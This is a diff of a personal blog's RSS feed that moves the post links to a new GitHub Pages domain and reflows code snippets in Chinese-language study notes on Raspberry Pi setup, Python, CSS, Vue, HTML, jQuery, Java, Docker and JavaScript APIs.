 使用读卡器读取系统信息，在boot目录新建一个名为ssh的空白文件，用来打开ssh服务，ssh文件不需要存在内容 没有用那么需要手动启动ssh服务：service sshd restart
 在boot目录新建一个wpa_supplicant.conf文件
 ctrl_interface=DIR=/var/run/wpa_supplicant GROUP=netdev update_config=1
-network={
ssid=&amp;quot;wifi的名字&amp;quot;
psk=&amp;quot;wifi的密码&amp;quot;
key_mgmt=WPA-PSK
priority=1
}
update_config=1，这个用来控制wifi的优先级，只有一个wifi的时候可有可无，没有影响
+network={ ssid=&amp;quot;wifi的名字&amp;quot; psk=&amp;quot;wifi的密码&amp;quot; key_mgmt=WPA-PSK priority=1 } update_config=1，这个用来控制wifi的优先级，只有一个wifi的时候可有可无，没有影响
 插入内存卡，连接电源，开启树莓派
 Windows10开热点会显示连接设备的ip，wifi路由器的就去路由器后台找
 使用ssh工具，连接树莓派，默认用户名：pi，密码：raspberry 修改用户密码：sudo passwd pi pi是要修改密码的用户
@@ -3187,10 +3187,10 @@ sudo raspi-config
     
     <item>
       <title>python基础语法笔记</title>
-      <link>https://xiaochenabc123.github.io/posts/28/</link>
+      <link>https://chenjunlinabc.github.io/posts/28/</link>
       <pubDate>Wed, 16 Jun 2021 14:40:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/28/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/28/</guid>
       <description>安装python
 推荐安装anaconda3（linux）
 wget https://mirrors.tuna.tsinghua.edu.cn/anaconda/archive/Anaconda3-2021.05-Linux-x86_64.sh
@@ -3235,10 +3235,10 @@ python可以处理整型任意大小的整数，也可以使用二进制代表
     
     <item>
       <title>Python的一些神器的简单用法</title>
-      <link>https://xiaochenabc123.github.io/posts/27/</link>
+      <link>https://chenjunlinabc.github.io/posts/27/</link>
       <pubDate>Wed, 16 Jun 2021 14:39:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/27/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/27/</guid>
       <description>Virtualenv是一个能创建隔绝的独立的Python虚拟环境工具。它能够建立多个相互独立，互不影响的Python工作环境
 用来创建一套独立于系统Python环境的虚拟环境，在虚拟环境下，使用pip安装的依赖都会安装到当前的虚拟环境中，对系统的python环境没有影响
 当开发多个Python程序时当，程序1要使用3.6环境，但是程序2要使用3.8环境时，Virtualenv可以完美解决这个问题
@@ -3268,10 +3268,10 @@ cd ~ # 进入用户目录 mkdir .pip # 新建一个隐藏文件夹 touch pip.</d
     
     <item>
       <title>简单搭建一个hexo博客</title>
-      <link>https://xiaochenabc123.github.io/posts/26/</link>
+      <link>https://chenjunlinabc.github.io/posts/26/</link>
       <pubDate>Wed, 16 Jun 2021 14:36:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/26/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/26/</guid>
       <description>hexo+github可以实现免费搭建一个博客网站，就是维护起来有点麻烦
 apt install npm
 npm install hexo-cli -g
@@ -3308,35 +3308,35 @@ left - 靠左放置 right - 靠右放置
     
     <item>
       <title>css常见布局</title>
-      <link>https://xiaochenabc123.github.io/posts/24/</link>
+      <link>https://chenjunlinabc.github.io/posts/24/</link>
       <pubDate>Wed, 16 Jun 2021 13:23:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/24/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/24/</guid>
       <description>居中布局
 分水平居中和垂直居中，水平+垂直居中
 水平居中：当前元素在父级元素容器中，水平方向是居中显示的
 inline-block+text-algin
-#app{
text-align: center;
// 父元素，文本内容居中对齐
}
.child{
display: inline-block;
// 子元素，行内块级元素
}
优点：浏览器兼容性好（css2）
+#app{ text-align: center; // 父元素，文本内容居中对齐 } .child{ display: inline-block; // 子元素，行内块级元素 } 优点：浏览器兼容性好（css2）
 缺点：text-align具有继承性，会导致子元素的文本也是居中的
 table+margin
-.child{
display: table; // 也可以为block
margin: 0 auto;
// 子元素，margin外边距，上下为0，左右为auto（浏览器自动分配）
}
优点：只需要对子元素设置，就可以实现效果
+.child{ display: table; // 也可以为block margin: 0 auto; // 子元素，margin外边距，上下为0，左右为auto（浏览器自动分配） } 优点：只需要对子元素设置，就可以实现效果
 缺点：如果子元素脱离正常流，将会导致margin属性的值无效化
 absolute+transform
-#app{
position: relative; // 父元素相对定位
}
.child{
position: absolute; // 子元素绝对定位，如果父元素没有定位，那么该元素是相对于页面定位，父元素定位了，那么该元素是相对于父元素的
left: 50%; // 相对于父元素左边50% transform: translateX(-50%); // 子元素水平平移-50%（左负数，右正数）
}
优点：父元素是否脱离正常流，也是不影响子元素的水平居中效果
+#app{ position: relative; // 父元素相对定位 } .child{ position: absolute; // 子元素绝对定位，如果父元素没有定位，那么该元素是相对于页面定位，父元素定位了，那么该元素是相对于父元素的 left: 50%; // 相对于父元素左边50% transform: translateX(-50%); // 子元素水平平移-50%（左负数，右正数） } 优点：父元素是否脱离正常流，也是不影响子元素的水平居中效果
 缺点：transform属性是css3的新属性，浏览器兼容性比较差
 垂直居中：当前元素在父级元素容器中，垂直方向是居中显示的
 table-cell+vertical-algin
-#app{
// 父元素
display: table-cell;
vertical-align: middle; // 设置文本的垂直方向对齐方式
}
优点：浏览器兼容性好
+#app{ // 父元素 display: table-cell; vertical-align: middle; // 设置文本的垂直方向对齐方式 } 优点：浏览器兼容性好
 缺点：vertical-align属性具有继承性
 absolute+transform</description>
     </item>
     
     <item>
       <title>vuejs基础学习笔记</title>
-      <link>https://xiaochenabc123.github.io/posts/23/</link>
+      <link>https://chenjunlinabc.github.io/posts/23/</link>
       <pubDate>Wed, 16 Jun 2021 10:13:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/23/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/23/</guid>
       <description>vuejs的核心层就是只关心视图层的，本笔记使用的是最新版本的vue3
 vue全家桶：Vue+VueRouter+Vuex
 vue名字来源于法语（中文翻译为视图），可以看出其对视图层的重视
@@ -3349,58 +3349,58 @@ browser版本：包含esm,浏览器模块
 bundler版本：该版本不是完整版，min
 vuejs模板支持所有JavaScript表达式
 vuejs本身是用声明式渲染把数据渲染到html dom中，渲染格式为{{&amp;hellip;}}，例如：
-&amp;lt;div id=&amp;quot;app&amp;quot;&amp;gt;
&amp;lt;p&amp;gt;{{ hallovuejs }}&amp;lt;/p&amp;gt;
&amp;lt;/div&amp;gt;
&amp;lt;script&amp;gt;
const hallo ={
data() {
return {
hallovuejs: &amp;quot;hallo vuejs!&amp;quot;
}
}
}
Vue.createApp(hallo).mount(&amp;quot;#app&amp;quot;)
&amp;lt;/script&amp;gt;
vue本身携带了一些指令，主要特征就是带有v-前缀，用来渲染html dom上的一些行为，例如：
-&amp;lt;div id=&amp;quot;app&amp;quot;&amp;gt;
&amp;lt;a v-bind:href=&amp;quot;url&amp;quot;&amp;gt;{{ main }}&amp;lt;/a&amp;gt;
&amp;lt;/div&amp;gt;
&amp;lt;script&amp;gt;
const hallo ={
data() {
return {
url:&amp;quot;https://xiaochenabc123.test.com&amp;quot;,
main: &amp;quot;小陈的辣鸡屋&amp;quot;
}
}
}
Vue.createApp(hallo).mount(&amp;quot;#app&amp;quot;)
&amp;lt;/script&amp;gt;
这个v-bind:href，就是将a标签的href属性绑定，v-bind可以绑定任何属性，例如class属性等等，因此可以在视图层留下一些接口指令，让vuejs来响应式渲染出视图
+&amp;lt;div id=&amp;quot;app&amp;quot;&amp;gt; &amp;lt;p&amp;gt;{{ hallovuejs }}&amp;lt;/p&amp;gt; &amp;lt;/div&amp;gt; &amp;lt;script&amp;gt; const hallo ={ data() { return { hallovuejs: &amp;quot;hallo vuejs!&amp;quot; } } } Vue.createApp(hallo).mount(&amp;quot;#app&amp;quot;) &amp;lt;/script&amp;gt; vue本身携带了一些指令，主要特征就是带有v-前缀，用来渲染html dom上的一些行为，例如：
+&amp;lt;div id=&amp;quot;app&amp;quot;&amp;gt; &amp;lt;a v-bind:href=&amp;quot;url&amp;quot;&amp;gt;{{ main }}&amp;lt;/a&amp;gt; &amp;lt;/div&amp;gt; &amp;lt;script&amp;gt; const hallo ={ data() { return { url:&amp;quot;https://xiaochenabc123.test.com&amp;quot;, main: &amp;quot;小陈的辣鸡屋&amp;quot; } } } Vue.createApp(hallo).mount(&amp;quot;#app&amp;quot;) &amp;lt;/script&amp;gt; 这个v-bind:href，就是将a标签的href属性绑定，v-bind可以绑定任何属性，例如class属性等等，因此可以在视图层留下一些接口指令，让vuejs来响应式渲染出视图
 而vue还提供了可以绑定事件的v-on属性，例如：
-&amp;lt;div id=&amp;quot;app&amp;quot;&amp;gt;
&amp;lt;button v-on:click=&amp;quot;go&amp;quot;&amp;gt;{{ main }}&amp;lt;/button&amp;gt;
&amp;lt;/div&amp;gt;
&amp;lt;script&amp;gt;
const hallo ={
data() {
return {
main: &amp;quot;hallo&amp;quot;
}
},
methods: {
go: function(){
console.</description>
+&amp;lt;div id=&amp;quot;app&amp;quot;&amp;gt; &amp;lt;button v-on:click=&amp;quot;go&amp;quot;&amp;gt;{{ main }}&amp;lt;/button&amp;gt; &amp;lt;/div&amp;gt; &amp;lt;script&amp;gt; const hallo ={ data() { return { main: &amp;quot;hallo&amp;quot; } }, methods: { go: function(){ console.</description>
     </item>
     
     <item>
       <title>HTML全局属性笔记</title>
-      <link>https://xiaochenabc123.github.io/posts/22/</link>
+      <link>https://chenjunlinabc.github.io/posts/22/</link>
       <pubDate>Wed, 16 Jun 2021 09:38:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/22/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/22/</guid>
       <description>属性
 accesskey
 定义快捷键获取焦点，例如
-&amp;lt;a href=&amp;quot;https://xiaochenabc123.test.com&amp;quot; accesskey=&amp;quot;q&amp;quot;&amp;gt;GO\&amp;lt;/a&amp;gt;
按ait+q，就会跳到指定的网页上
+&amp;lt;a href=&amp;quot;https://xiaochenabc123.test.com&amp;quot; accesskey=&amp;quot;q&amp;quot;&amp;gt;GO\&amp;lt;/a&amp;gt; 按ait+q，就会跳到指定的网页上
 class
 定义元素的类，开头必须是字母，多个类使用空格隔开，例如
-&amp;lt;div class = &amp;quot;a1 a2 a3&amp;quot;&amp;gt;&amp;lt;/div&amp;gt;
id
+&amp;lt;div class = &amp;quot;a1 a2 a3&amp;quot;&amp;gt;&amp;lt;/div&amp;gt; id
 定义一个id，id为唯一性，不能重复，例如
-&amp;lt;div id = &amp;quot;a1&amp;quot;&amp;gt;&amp;lt;/div&amp;gt;
lang
+&amp;lt;div id = &amp;quot;a1&amp;quot;&amp;gt;&amp;lt;/div&amp;gt; lang
 定义网页或者元素的语言，例如
-&amp;lt;div lang = &amp;quot;fr&amp;quot;&amp;gt;&amp;lt;/div&amp;gt;
style
+&amp;lt;div lang = &amp;quot;fr&amp;quot;&amp;gt;&amp;lt;/div&amp;gt; style
 定义元素的行内样式，例如
-&amp;lt;div style=&amp;quot;color : #fff&amp;quot;&amp;gt;hi&amp;lt;/div&amp;gt;
tabindex
+&amp;lt;div style=&amp;quot;color : #fff&amp;quot;&amp;gt;hi&amp;lt;/div&amp;gt; tabindex
 指定tab键的焦点控制，例如
-&amp;lt;a href=&amp;quot;https://xiaochenabc123.test.com&amp;quot; tabindex=&amp;quot;1&amp;quot;&amp;gt;GO&amp;lt;/a&amp;gt;
使用键盘的tab键盘，触发（不会跳转到网页，只是焦点）
+&amp;lt;a href=&amp;quot;https://xiaochenabc123.test.com&amp;quot; tabindex=&amp;quot;1&amp;quot;&amp;gt;GO&amp;lt;/a&amp;gt; 使用键盘的tab键盘，触发（不会跳转到网页，只是焦点）
 contenteditable
 指定元素是否为可以编辑的，例如
-&amp;lt;div contenteditable=&amp;quot;true&amp;quot;&amp;gt;hi&amp;lt;/div&amp;gt;
dir
+&amp;lt;div contenteditable=&amp;quot;true&amp;quot;&amp;gt;hi&amp;lt;/div&amp;gt; dir
 指定元素内文本的方向，例如
-&amp;lt;div dir = &amp;quot;rtl&amp;quot;&amp;gt;hi&amp;lt;/div&amp;gt;
ltr默认值，从左到右
+&amp;lt;div dir = &amp;quot;rtl&amp;quot;&amp;gt;hi&amp;lt;/div&amp;gt; ltr默认值，从左到右
 rtl，从右到左
 title
 指定元素的信息，一般为鼠标移动到元素是停留一段时间，显示信息，例如
-&amp;lt;div title = &amp;quot;hi&amp;quot;&amp;gt;hi&amp;lt;/div&amp;gt;
data-xxx
+&amp;lt;div title = &amp;quot;hi&amp;quot;&amp;gt;hi&amp;lt;/div&amp;gt; data-xxx
 用于存储一些自定义属性，data-后面必须有一个字符，不包括大写
 JavaScript可以通过getAttribute获取到
 draggable
 指定元素是否可以拖动，默认情况下，只有图片和链接可以拖动
 有3个可选值，true/false/auto，在JavaScript中可以配合拖动事件，例如
-&amp;lt;div draggable = &amp;quot;true&amp;quot;&amp;gt;hi&amp;lt;/div&amp;gt;
hidden
+&amp;lt;div draggable = &amp;quot;true&amp;quot;&amp;gt;hi&amp;lt;/div&amp;gt; hidden
 指定元素是否隐藏，有两个可选值，hidden/true，例如
-&amp;lt;div hidden = &amp;quot;hidden&amp;quot;&amp;gt;hi&amp;lt;/div&amp;gt;
contextmenu</description>
+&amp;lt;div hidden = &amp;quot;hidden&amp;quot;&amp;gt;hi&amp;lt;/div&amp;gt; contextmenu</description>
     </item>
     
     <item>
       <title>jQuery基础学习笔记</title>
-      <link>https://xiaochenabc123.github.io/posts/21/</link>
+      <link>https://chenjunlinabc.github.io/posts/21/</link>
       <pubDate>Wed, 16 Jun 2021 09:38:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/21/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/21/</guid>
       <description>##第一个jQuery程序
 $(&amp;lsquo;div&amp;rsquo;).html(&amp;ldquo;hello.world&amp;rdquo;);
 ##DOM对象和jQuery对象互转化
@@ -3439,10 +3439,10 @@ $(&amp;ldquo;div[class=divs],a[href=&amp;ldquo;https://xiaochenabc123.test.com&a
     
     <item>
       <title>JAVA基础学习笔记</title>
-      <link>https://xiaochenabc123.github.io/posts/19/</link>
+      <link>https://chenjunlinabc.github.io/posts/19/</link>
       <pubDate>Wed, 16 Jun 2021 09:35:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/19/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/19/</guid>
       <description>java基于java虚拟机（Java Virtual Machine，JVM）和java应用编程接口（Application Programming Interface，API）构成
 java的跨平台得益于java虚拟机，只需要编译一次java程序，就可以在不同系统的java虚拟机上运行
 java编译成字节流，java虚拟机通过解析这些字节流来做的跨平台，编译完成得到的字节流可以在不同平台的java虚拟机上跑
@@ -3463,7 +3463,8 @@ java入口程序必须是静态方法，方法名也必须为main，参数必须
 多行注释
 */
 /** *
-一样是多行注释 * */ java的变量的类型和JavaScript一样，变量分两种，基本类型变量和引用类型变量 java有8种基础类型，分别是整型（4种），字符型（1种），浮点型（2种），布尔型（1种）
+一样是多行注释 */
+java的变量的类型和JavaScript一样，变量分两种，基本类型变量和引用类型变量 java有8种基础类型，分别是整型（4种），字符型（1种），浮点型（2种），布尔型（1种）
 变量必须先定义，后赋值使用，例如：
 int a = 1;
 定义为int整数类型，名称为a，初始值为1
@@ -3478,10 +3479,10 @@ int x = i; // 变量x的值为i，因为i的值为100，所以x的值为i
     
     <item>
       <title>Docker容器的简单使用</title>
-      <link>https://xiaochenabc123.github.io/posts/18/</link>
+      <link>https://chenjunlinabc.github.io/posts/18/</link>
       <pubDate>Wed, 16 Jun 2021 09:34:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/18/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/18/</guid>
       <description>docker是一个应用容器，可以将应用以及该应用的依赖打包到一个可以移植的容器中，应用在这个容器中运行
 可以进行转移，修改，版本管理等操作，不用担心应用转移到别的服务器会出现依赖问题
 将容器文件转移到别的服务器上，不会影响到容器，一次配置，可以在多个服务器上使用相同的环境
@@ -3516,10 +3517,10 @@ sudo apt install docker-ce docker-ce-cli containerd.</description>
     
     <item>
       <title>XML学习笔记</title>
-      <link>https://xiaochenabc123.github.io/posts/17/</link>
+      <link>https://chenjunlinabc.github.io/posts/17/</link>
       <pubDate>Wed, 16 Jun 2021 09:32:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/17/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/17/</guid>
       <description>xml中文全称为可扩展标记语言（Extensible Markup Language）
 xml和html类似，但是xml是用来传输和存储数据的，xml大小写敏感，xml的标记是自定义的
 xml声明，该声明位在xml文档的第一行，结尾
@@ -3561,10 +3562,10 @@ FIXED // 表示这个固定的属性默认值，不能将该属性的值设置
     
     <item>
       <title>JavaScript-IntersectionObserver构造函数笔记</title>
-      <link>https://xiaochenabc123.github.io/posts/16/</link>
+      <link>https://chenjunlinabc.github.io/posts/16/</link>
       <pubDate>Wed, 16 Jun 2021 09:29:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/16/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/16/</guid>
       <description>IntersectionObserver是浏览器本身提供的构造函数，因此可能有一些老版本浏览器没有效果
 该构造函数提供了一种异步的监测目标对象和祖先对象或者视口相交的方法
 var observe = new IntersectionObserver(callback, options)
@@ -3587,15 +3588,15 @@ target：返回观测的目标对象，是dom对象
 time：返回一个记录了从观测开始到交叉被触发时间的的时间戳，单位为毫秒
 如果是搞懒加载，那么intersectionRatio和isIntersecting是关键点
 例如：
-const lazyload = new IntersectionObserver((target)=&amp;gt;{
// 实例化
target.forEach((item) =&amp;gt;{
if (item.intersectionRatio){
// 当目标可视
item.target.src = item.target.alt; // 进行属性值覆盖
lazyload.unobserve(item.target) // 停止观测
}
})
},{
rootMargin: &amp;quot;100px&amp;quot; // 提前100px
}); const imgs = document.querySelectorAll(&amp;quot;img[alt]&amp;quot;); // 选择带有alt属性的img元素
imgs.forEach((item) =&amp;gt; {
lazyload.observe(item)
// 开始观测
}); </description>
+const lazyload = new IntersectionObserver((target)=&amp;gt;{ // 实例化 target.forEach((item) =&amp;gt;{ if (item.intersectionRatio){ // 当目标可视 item.target.src = item.target.alt; // 进行属性值覆盖 lazyload.unobserve(item.target) // 停止观测 } }) },{ rootMargin: &amp;quot;100px&amp;quot; // 提前100px }); const imgs = document.querySelectorAll(&amp;quot;img[alt]&amp;quot;); // 选择带有alt属性的img元素 imgs.forEach((item) =&amp;gt; { lazyload.observe(item) // 开始观测 }); </description>
     </item>
     
     <item>
       <title>简单理解区块链的基本原理</title>
-      <link>https://xiaochenabc123.github.io/posts/15/</link>
+      <link>https://chenjunlinabc.github.io/posts/15/</link>
       <pubDate>Wed, 16 Jun 2021 09:27:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/15/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/15/</guid>
       <description>注意：不推荐去玩比特币以及类似的加密货币，那个玩意说涨就涨，说跌就跌，比特币实质上就是一串数字，没有实物，没有信用背书，当这个巨大泡沫破裂之时，大部分人绝对不可能及时套现跑路，了解比特币下的技术可以，但是绝对不能接触或者玩比特币以及类似的加密货币
 1个比特币相当于100000000聪,聪(Satoshi)是比特币目前最小的单位，是为了纪念比特币的创建者中本聪(Satoshi Nakamoto)
 在中国唯一值得信赖的加密货币是数字人民币，有国家在做信用背书，是有法偿能力的法定货币，和现金等值
@@ -3652,14 +3653,14 @@ Hash(上一个Hash值,交易记录集,随机数)= 哈希值
     
     <item>
       <title>JavaScript-XMLHttpRequest对象笔记</title>
-      <link>https://xiaochenabc123.github.io/posts/14/</link>
+      <link>https://chenjunlinabc.github.io/posts/14/</link>
       <pubDate>Wed, 16 Jun 2021 09:25:49 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/14/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/14/</guid>
       <description>ajax请求是异步的，因此可以通过回调函数来处理响应
 实现ajax请求大多是使用XMLHttpRequest对象，该对象用于与服务器交互，可以在不刷新页面的情况下请求url，获取数据，从而达到更新页面内容的目的
 初始化XMLHttpRequest()构造函数，可以获得一个XMLHttpReques实例，例如：
-var xmlhttp = new XMLHttpRequest()
xmlhttp.onreadystatechange = function(){
if(xmlhttp.readyState == 4 &amp;amp;&amp;amp; xmlhttp.status == 200){
document.getElementById(&amp;quot;app&amp;quot;).innerHTML = xmlhttp.responseText
}
}
console.log(xmlhttp.readyState) // 0
xmlhttp.open(&amp;quot;GET&amp;quot;,&amp;quot;https://httpbin.org/get&amp;quot;,true)
console.log(xmlhttp.readyState) // 1
xmlhttp.onprogress =function(){
console.log(xmlhttp.readyState) // 3
}
xmlhttp.onload = function(){
console.log(xmlhttp.readyState) // 4
}
xmlhttp.send();
XMLHttpReques实例的属性
+var xmlhttp = new XMLHttpRequest() xmlhttp.onreadystatechange = function(){ if(xmlhttp.readyState == 4 &amp;amp;&amp;amp; xmlhttp.status == 200){ document.getElementById(&amp;quot;app&amp;quot;).innerHTML = xmlhttp.responseText } } console.log(xmlhttp.readyState) // 0 xmlhttp.open(&amp;quot;GET&amp;quot;,&amp;quot;https://httpbin.org/get&amp;quot;,true) console.log(xmlhttp.readyState) // 1 xmlhttp.onprogress =function(){ console.log(xmlhttp.readyState) // 3 } xmlhttp.onload = function(){ console.log(xmlhttp.readyState) // 4 } xmlhttp.send(); XMLHttpReques实例的属性
 XMLHttpRequest.readyState：该属性会返回一个XMLHttpRequest的状态，状态有5种，例如：
 状态0：已被实例化，但是未调用open()方法 状态1：open()方法已被调用（连接） 状态2：send()方法已被调用（请求） 状态3：请求处理中 状态4：请求完毕，且响应已就绪
 XMLHttpReques.onreadystatechange：该属性对应了一个回调函数，当XMLHttpRequest.readyState属性发生改变时，该回调函数就会被调用，例子如上面所示
@@ -3682,12 +3683,12 @@ onloadstart：开始获取数据 onprogress：数据正在传输中 onabort：
     
     <item>
       <title>jQuery-ajax()方法笔记</title>
-      <link>https://xiaochenabc123.github.io/posts/13/</link>
+      <link>https://chenjunlinabc.github.io/posts/13/</link>
       <pubDate>Wed, 16 Jun 2021 09:24:37 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/13/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/13/</guid>
       <description>ajax()是jQuery中定义的一个方法，该方法用于执行ajax请求，例如：
-$(document).ready(function(){
$(&amp;quot;button&amp;quot;).click(function(){
$.ajax({
type: &amp;quot;GET&amp;quot;,
url: &amp;quot;https://httpbin.org/get&amp;quot;,
success: function(getdata){
console.log(getdata)
}
})
})
});
参数
+$(document).ready(function(){ $(&amp;quot;button&amp;quot;).click(function(){ $.ajax({ type: &amp;quot;GET&amp;quot;, url: &amp;quot;https://httpbin.org/get&amp;quot;, success: function(getdata){ console.log(getdata) } }) }) }); 参数
 url：指定发送请求的URL，默认是当前页面
 type：指定请求方式（GET或者POST）
 success：当请求成功时执行的函数
@@ -3716,10 +3717,10 @@ xhr：用于重写或者增强XMLHttpRequest对象的函数</description>
     
     <item>
       <title>html5学习笔记</title>
-      <link>https://xiaochenabc123.github.io/posts/12/</link>
+      <link>https://chenjunlinabc.github.io/posts/12/</link>
       <pubDate>Wed, 16 Jun 2021 09:22:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/12/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/12/</guid>
       <description>HTML5是HTML标准的第5代标准，主要目的是语义化并且提供多媒体的嵌入
 HTML是什么？HTML全称为HyperTextMarkupLanguage，中文叫超文本标记语言，简称HTML
 而HTML5是一个标准，指的是第五代HTML标准
@@ -3753,23 +3754,23 @@ html语义
 要注意可以改变样式的标签不一定是有居于语义的
 在没有出现语义元素前，几乎都是使用div或者span，加类加id
 没有语义的元素最适合当容器使用了
-常用的非语义元素有&amp;lt;div&amp;gt;和&amp;lt;span&amp;gt;
常用的语义元素有&amp;lt;header&amp;gt;和&amp;lt;footer&amp;gt;
&amp;lt;header&amp;gt;：页眉，一般包括网站logo，主导航，搜索框等；
&amp;lt;nav&amp;gt;：导航，链接；
&amp;lt;main&amp;gt;：定义文章的主要内容，一个页面只能使用一次；
&amp;lt;article&amp;gt;：定义一份独立的内容，脱离其他内容或者其他部分，独立于文档的其余部分；
&amp;lt;section&amp;gt;：定义内容的节（段）；
&amp;lt;footer&amp;gt;：页脚，一般包含版权信息或者链接等；
&amp;lt;aside&amp;gt;：侧边栏，一般作为附属信息，例如导航索引，广告等；
meta viewport
+常用的非语义元素有&amp;lt;div&amp;gt;和&amp;lt;span&amp;gt; 常用的语义元素有&amp;lt;header&amp;gt;和&amp;lt;footer&amp;gt; &amp;lt;header&amp;gt;：页眉，一般包括网站logo，主导航，搜索框等； &amp;lt;nav&amp;gt;：导航，链接； &amp;lt;main&amp;gt;：定义文章的主要内容，一个页面只能使用一次； &amp;lt;article&amp;gt;：定义一份独立的内容，脱离其他内容或者其他部分，独立于文档的其余部分； &amp;lt;section&amp;gt;：定义内容的节（段）； &amp;lt;footer&amp;gt;：页脚，一般包含版权信息或者链接等； &amp;lt;aside&amp;gt;：侧边栏，一般作为附属信息，例如导航索引，广告等； meta viewport
 viewport 是指 web 页面上的可见区域
-&amp;lt;meta name=&amp;quot;viewport&amp;quot; content=&amp;quot;width=device-width, initial-scale=1.0&amp;quot;&amp;gt;
device-width指设备的理想宽度,不同的设备 device-width 是不一样的
+&amp;lt;meta name=&amp;quot;viewport&amp;quot; content=&amp;quot;width=device-width, initial-scale=1.0&amp;quot;&amp;gt; device-width指设备的理想宽度,不同的设备 device-width 是不一样的
 nitial-scale=1.0 是指默认缩放大小是1，也就是默认不缩放
 maximum-scale=1.0 是指最大缩放大小是1
 标签使用&amp;lt;和&amp;gt;括起来，例如&amp;lt;div&amp;gt;
 html标签大多都是成对出现的，分开始标签和结束标签，结束标签比开始标签多了个/
 例如： html不区分大小写。所以&amp;lt;DIV&amp;gt;和&amp;lt;div&amp;gt;作用一样。建议使用小写
-&amp;lt;!DOCTYPE html&amp;gt;声明这是一个html5文件，声明位于&amp;lt;html&amp;gt;前面
&amp;lt;html&amp;gt; 标识HTML文档的开始
&amp;lt;head&amp;gt;表明一些和html文档有关的信息，例如title
&amp;lt;body&amp;gt;html文档的主体
&amp;lt;!</description>
+&amp;lt;!DOCTYPE html&amp;gt;声明这是一个html5文件，声明位于&amp;lt;html&amp;gt;前面 &amp;lt;html&amp;gt; 标识HTML文档的开始 &amp;lt;head&amp;gt;表明一些和html文档有关的信息，例如title &amp;lt;body&amp;gt;html文档的主体 &amp;lt;!</description>
     </item>
     
     <item>
       <title>css3学习笔记</title>
-      <link>https://xiaochenabc123.github.io/posts/11/</link>
+      <link>https://chenjunlinabc.github.io/posts/11/</link>
       <pubDate>Wed, 16 Jun 2021 09:21:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/11/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/11/</guid>
       <description>盒子模型
 盒模型在css中是用来封装html元素的，因为本质上来看像个盒子一样，所以叫盒模型或者盒子模型，术语叫box model
 外边距（margin）：一般用于控制同辈元素之间的间距
@@ -3777,7 +3778,7 @@ html标签大多都是成对出现的，分开始标签和结束标签，结束
 内边距（padding）：内边框是用于控制内容的距离
 内容（content）：内容，一般为文本和图像
 例子：建立一个宽度为100px，10px的内边距，10px的外边距，10px的红色边框的盒子
-div{
width: 100px;
borde: 10px solid red;
padding: 10px;
margin: 10px;
}
top，bottom，left，right分别代表了上，下，左，右
+div{ width: 100px; borde: 10px solid red; padding: 10px; margin: 10px; } top，bottom，left，right分别代表了上，下，左，右
 或者padding: 上，右，下，左，只有一个数字就表示上，下，左，右都是这个数值
 有两个数值就是分别代表上下和左右，有三个数值表示上和左右和下
 这个盒子大小应该是内容的宽度+内边距+边框+外边距
@@ -3809,10 +3810,10 @@ BFC的特性：</description>
     
     <item>
       <title>原生js实现瀑布流布局</title>
-      <link>https://xiaochenabc123.github.io/posts/10/</link>
+      <link>https://chenjunlinabc.github.io/posts/10/</link>
       <pubDate>Wed, 16 Jun 2021 09:14:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/10/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/10/</guid>
       <description>瀑布流的特点就是容器等宽不等高，计算其高度，选择最矮的一个容器的下面将插入第二行的第一个容器，以此类推，因此容器需要设置为绝对定位
 首先需要确定一行有多少列，列数 = 页面的宽度 / 容器的宽度
 获取页面的宽度：window.innerWidth或者document.documentElement.clientWidth或者document.body.clientWidth
@@ -3826,30 +3827,30 @@ BFC的特性：</description>
 因为已经设置了下一行的容器，因此还需要重新获取一下当前容器的高度，当前容器高度 = 当前容器高度+间隙 +拼接过来的容器的高度
 为了体验更好，可以将上面操作封装到一个函数中，当网页加载完毕加执行（window.onload），当页面宽度高度发送变化时也执行(window.onresize)
 例如：
-var data = document.getElementsByClassName(&#39;imgs&#39;);
function datamain(){
var datawidtha = window.innerWidth;
var datawidthb = Math.floor(data[0].offsetWidth);
var dataab = Math.floor(datawidtha/datawidthb);
var ints = Math.floor((datawidtha - dataab*datawidthb)/(dataab+1))
var arr = [];
for(var i=0;i&amp;lt;data.length;i++){
if(i&amp;lt;dataab){
data[i].style.top = 0;
data[i].style.left = (datawidthb+ints) * i + &amp;quot;px&amp;quot;;
arr.push(data[i].offsetHeight);
}else{
var datamin = arr[0];
var index = 0;
for(var a = 0; a&amp;lt;arr.</description>
